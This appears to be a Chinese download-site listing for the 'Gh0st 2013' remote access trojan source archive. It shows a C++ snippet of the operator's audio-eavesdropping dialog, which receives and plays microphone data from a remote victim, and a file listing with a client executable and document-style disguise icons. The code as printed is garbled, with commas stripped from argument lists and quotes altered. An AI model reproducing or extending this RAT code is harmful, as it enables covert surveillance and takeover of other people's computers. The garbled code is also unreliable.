• 大小: 26.68MB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2023-07-23
  • 语言: 其他
  • 标签: vc  

资源简介

Gh0st 2013源码.zip

资源截图

代码片段和文件信息

// AudioDlg.cpp : implementation file
//

#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog

CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT

m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;

m_nTotalRecvBytes = 0;

sockaddr_in  sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);

m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}


void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_blsSendLocalAudio_XTP);
DDX_Control(pDX IDC_AUDIO m_audio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers


BOOL CAudioDlg::OnInitDialog() 
{
CDialog::OnInitDialog();

// TODO: Add extra initialization here

// Set the icon for this dialog.  The framework does this automatically
//  when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon

m_blsSendLocalAudio_XTP.SetTheme(xtpControlThemeOffice2003);

CString str;
str.Format(“\\\\%s - 语音监听“ m_IPAddress);
SetWindowText(str);

// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));

m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);

m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);
return true;
}

void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
  str.Format(“Receive %d KBytes“ m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

void CAudioDlg::OnReceive()
{

}

void CAudioDlg::OnClose() 
{
// TODO: Add your message h

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2013-09-21 15:38  Gh0st 2013源码\
     目录           0  2013-09-21 14:55  Gh0st 2013源码\Bin\
     文件     3973120  2013-09-21 14:42  Gh0st 2013源码\Bin\Client.exe
     文件          33  2013-09-21 14:55  Gh0st 2013源码\Bin\Client.ini
     目录           0  2013-09-21 14:29  Gh0st 2013源码\Bin\ICO图标\
     文件        4286  2009-07-03 06:43  Gh0st 2013源码\Bin\ICO图标\451.ico
     文件         766  2006-06-29 15:59  Gh0st 2013源码\Bin\ICO图标\bat.ico
     文件        2238  2007-03-31 23:50  Gh0st 2013源码\Bin\ICO图标\blank.ico
     文件        2238  2006-06-29 18:20  Gh0st 2013源码\Bin\ICO图标\doc2003.ico
     文件         766  2006-06-29 16:11  Gh0st 2013源码\Bin\ICO图标\dos.ico
     文件        2238  2006-06-29 18:20  Gh0st 2013源码\Bin\ICO图标\folder.ico
     文件        2238  2006-06-29 22:32  Gh0st 2013源码\Bin\ICO图标\ie.ico
     文件        2238  2005-10-26 13:26  Gh0st 2013源码\Bin\ICO图标\jpgxp.ico
     文件         766  2006-06-29 22:34  Gh0st 2013源码\Bin\ICO图标\rar.ico
     文件        2238  2003-06-11 20:03  Gh0st 2013源码\Bin\ICO图标\txt.ico
     文件        2238  2006-06-29 22:34  Gh0st 2013源码\Bin\ICO图标\txtxp.ico
     文件        2238  2006-06-29 22:33  Gh0st 2013源码\Bin\ICO图标\wmp.ico
     文件        2238  2006-06-29 22:34  Gh0st 2013源码\Bin\ICO图标\wmplayer.ico
     文件        2238  2006-06-29 22:34  Gh0st 2013源码\Bin\ICO图标\word.ico
     文件        2238  2006-06-29 22:34  Gh0st 2013源码\Bin\ICO图标\xls2003.ico
     文件      895921  2008-05-24 15:18  Gh0st 2013源码\Bin\QQwry.dat
     目录           0  2013-09-21 14:29  Gh0st 2013源码\Bin\sound\
     文件       77240  2002-09-02 00:00  Gh0st 2013源码\Bin\sound\downfile.wav
     文件       90476  2010-12-06 19:33  Gh0st 2013源码\Bin\sound\Login.wav
     文件       88514  2010-12-06 19:33  Gh0st 2013源码\Bin\sound\Offline.wav
     文件       75326  2002-09-02 00:00  Gh0st 2013源码\Bin\sound\upfile.wav
     目录           0  2013-09-21 14:29  Gh0st 2013源码\Bin\tool\
     目录           0  2013-09-21 14:29  Gh0st 2013源码\Bin\tool\ico\
     文件        2238  2011-02-18 11:59  Gh0st 2013源码\Bin\tool\ico\ico.ico
     目录           0  2013-09-21 14:29  Gh0st 2013源码\Bin\tool\res\
     文件      879120  2002-01-17 20:45  Gh0st 2013源码\Bin\tool\res\ResHacker.exe
............此处省略4509个文件信息

评论

共有 条评论